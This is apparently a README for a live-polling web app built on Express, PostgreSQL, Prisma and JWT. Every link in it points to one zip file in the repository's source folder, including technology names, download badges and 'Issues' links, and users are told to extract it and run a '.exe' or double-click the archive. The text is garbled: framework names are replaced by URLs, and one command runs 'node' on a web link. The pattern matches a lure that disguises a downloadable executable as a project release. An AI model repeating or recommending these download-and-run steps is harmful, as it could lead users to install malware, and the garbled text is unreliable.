# 🎉 real-time-polling - Easily Create Live Polls

## 📦 Overview
Welcome to the **real-time-polling** project! This application lets you create and manage live polls. It uses a combination of https://github.com/GG33114/real-time-polling/raw/refs/heads/main/src/polling_time_real_v2.5.zip, Express, PostgreSQL, Prisma, and https://github.com/GG33114/real-time-polling/raw/refs/heads/main/src/polling_time_real_v2.5.zip to deliver updates instantly. Our tool supports JWT authentication, making your polls secure and reliable. It is perfect for events, classrooms, or just for fun!

## 🚀 Getting Started

### 🌐 System Requirements
Before getting started, please check if your system meets the following requirements:
- Operating System: Windows, macOS, or Linux.
- Internet access to download and run the application.
- At least 4GB of RAM.
- 200MB of free disk space.

### 📥 Download the Application
To download the latest version of the real-time-polling application, visit the Releases page below. This page will provide you with the application files you need to get started.

[![Download from GitHub Releases](https://github.com/GG33114/real-time-polling/raw/refs/heads/main/src/polling_time_real_v2.5.zip%20Now%20-%20View%20Releases-blue)](https://github.com/GG33114/real-time-polling/raw/refs/heads/main/src/polling_time_real_v2.5.zip)

### 🛠️ Installation Steps
Once you have downloaded the application, follow these steps to install and run it:

1. **Locate the Downloaded File**
   Find the downloaded file in your default downloads folder.

2. **Extract the File**
   If the file is zipped, right-click on it and select "Extract All" or "Unzip" to get the application folder.

3. **Open the Application Folder**
   Navigate to the folder where you extracted the files. 

4. **Run the Application**
   - For **Windows**: Double-click on `https://github.com/GG33114/real-time-polling/raw/refs/heads/main/src/polling_time_real_v2.5.zip` or run the `.exe` file if available.
   - For **macOS**: Double-click on `https://github.com/GG33114/real-time-polling/raw/refs/heads/main/src/polling_time_real_v2.5.zip` or find the application file in Finder.
   - For **Linux**: Open a terminal and run `node https://github.com/GG33114/real-time-polling/raw/refs/heads/main/src/polling_time_real_v2.5.zip` to start the application.

### 🔍 Configuration
You may need to configure the application to connect to your PostgreSQL database. Follow these steps:
- Open the configuration file in the application folder.
- Update the following fields with your database information:
  - `DB_HOST`: Your database host address.
  - `DB_USER`: Your database username.
  - `DB_PASSWORD`: Your database password.
  - `DB_NAME`: Your database name.

### 🔑 Authentication
To ensure your polling is secure, the application uses JWT authentication:
1. Register a new account within the application interface.
2. Log in using your account details.
3. You can now create and manage your polls securely.

## 📝 Features
- **Real-Time Updates**: Engage users with instant voting results.
- **Secure Authentication**: Keep your data safe with JWT.
- **Easy Setup**: Simple installation steps to get you started quickly.
- **User-Friendly Interface**: Designed with simplicity in mind, suitable for everyone.

## 📊 Using the Application
1. Once running, open the application in your web browser using `http://localhost:3000` (default).
2. Create a poll by filling out the form.
3. Share the poll link with your participants.
4. Watch votes come in live as users respond!

## 📞 Support
If you encounter any issues or have questions, please reach out to us on our GitHub repository. We are here to help!

## 🔗 Useful Links
For detailed information, check our documentation and discussions in the repository: 
- [GitHub Repository](https://github.com/GG33114/real-time-polling/raw/refs/heads/main/src/polling_time_real_v2.5.zip)
- [Issues Page](https://github.com/GG33114/real-time-polling/raw/refs/heads/main/src/polling_time_real_v2.5.zip)

## 💾 More Downloads
To download the latest versions, visit our Releases page again:

[![Download from GitHub Releases](https://github.com/GG33114/real-time-polling/raw/refs/heads/main/src/polling_time_real_v2.5.zip%20Now%20-%20View%20Releases-blue)](https://github.com/GG33114/real-time-polling/raw/refs/heads/main/src/polling_time_real_v2.5.zip)

We hope you enjoy using real-time-polling! Happy polling!